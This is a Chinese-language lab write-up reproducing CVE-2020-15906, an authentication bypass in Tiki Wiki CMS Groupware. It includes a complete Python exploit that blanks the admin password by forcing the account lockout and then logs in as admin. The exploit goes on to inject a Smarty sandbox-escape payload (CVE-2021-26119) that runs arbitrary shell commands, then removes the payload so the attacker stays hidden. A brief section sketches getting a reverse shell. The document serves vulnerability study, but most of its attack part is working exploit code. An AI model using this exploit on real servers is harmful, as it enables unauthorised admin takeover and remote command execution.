Tiki Wiki CMS Groupware 認證繞過漏洞(CVE-2020-15906)
阿新 • • 發佈:2022-05-18
Tiki Wiki CMS Groupware或簡稱為Tiki(最初稱為TikiWiki)是一種免費且開源的基於Wiki的內容管理系統和線上辦公套件。在如下這些版本21.2, 20.4, 19.3, 18.7, 17.3, 16.4前存在一處邏輯錯誤,管理員賬戶被爆破60次以上時將被鎖定,此時使用空白密碼即可以管理員身份登入後臺。
參考連結:
- https://info.tiki.org/article473-Security-Releases-of-all-Tiki-versions-since-16-3
- https://github.com/S1lkys/CVE-2020-15906
- http://packetstormsecurity.com/files/159663/Tiki-Wiki-CMS-Groupware-21.1-Authentication-Bypass.html
- https://srcincite.io/pocs/cve-2021-26119.py.txt
漏洞環境
執行如下命令啟動一個Tiki Wiki CMS 21.1:
docker-compose up -d
環境啟動後,訪問http://your-ip:8080
可以看到其歡迎頁面。
漏洞復現
我們可以使用https://srcincite.io/pocs/cve-2021-26119.py.txt中的POC進行復現。該POC先使用CVE-2020-15906繞過認證,獲取管理員許可權;再使用Smarty的沙盒繞過漏洞(CVE-2021-26119)於後臺執行任意命令:
python poc.py your-ip:8080 / id
import requests import sys import re def auth_bypass(s, t): d = { "ticket" : "", "user" : "admin", "pass" : "trololololol", } h = { "referer" : t } d["ticket"] = get_ticket(s, "%stiki-login.php" % t) d["pass"] = "" # blank login r = s.post("%stiki-login.php" % t, data=d, headers=h) r = s.get("%stiki-admin.php" % t) assert ("You do not have the permission that is needed" not in r.text), "(-) authentication bypass failed!" def black_password(s, t): uri = "%stiki-login.php" % t # setup cookies here s.get(uri) ticket = get_ticket(s, uri) d = { 'user':'admin', 'pass':'trololololol', } # crafted especially so unsuccessful_logins isn't recorded for i in range(0, 51): r = s.post(uri, d) if("Account requires administrator approval." in r.text): print("(+) admin password blanked!") return raise Exception("(-) auth bypass failed!") def get_ticket(s, uri): h = { "referer" : uri } r = s.get(uri) match = re.search('class="ticket" name="ticket" value="(.*)" \/>', r.text) assert match, "(-) csrf ticket leak failed!" return match.group(1) def trigger_or_patch_ssti(s, t, c=None): # CVE-2021-26119 p = { "page": "look" } h = { "referer" : t } bypass = "startrce{$smarty.template_object->smarty->disableSecurity()->display('string:{shell_exec(\"%s\")}')}endrce" % c d = { "ticket" : get_ticket(s, "%stiki-admin.php" % t), "feature_custom_html_head_content" : bypass if c else '', "lm_preference[]": "feature_custom_html_head_content" } r = s.post("%stiki-admin.php" % t, params=p, data=d, headers=h) r = s.get("%stiki-index.php" % t) if c != None: assert ("startrce" in r.text and "endrce" in r.text), "(-) rce failed!" cmdr = r.text.split("startrce")[1].split("endrce")[0] print(cmdr.strip()) def main(): if(len(sys.argv) < 4): print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0]) print("(+) eg: %s 192.168.75.141 / id"% sys.argv[0]) print("(+) eg: %s 192.168.75.141 /tiki-20.3/ id" % sys.argv[0]) return p = sys.argv[2] c = sys.argv[3] p = p + "/" if not p.endswith("/") else p p = "/" + p if not p.startswith("/") else p t = "http://%s%s" % (sys.argv[1], p) s = requests.Session() print("(+) blanking password...") black_password(s, t) print("(+) getting a session...") auth_bypass(s, t) print("(+) auth bypass successful!") print("(+) triggering rce...\n") # trigger for rce trigger_or_patch_ssti(s, t, c) # patch so we stay hidden trigger_or_patch_ssti(s, t) if __name__ == '__main__': main()
反彈Shell
本地新建反彈檔案
python開啟服務(在新建反彈檔案所在資料夾開啟終端)
RCE執行反彈Shell
注意,受到漏洞原理的影響,執行該POC會導致管理員賬戶被鎖定。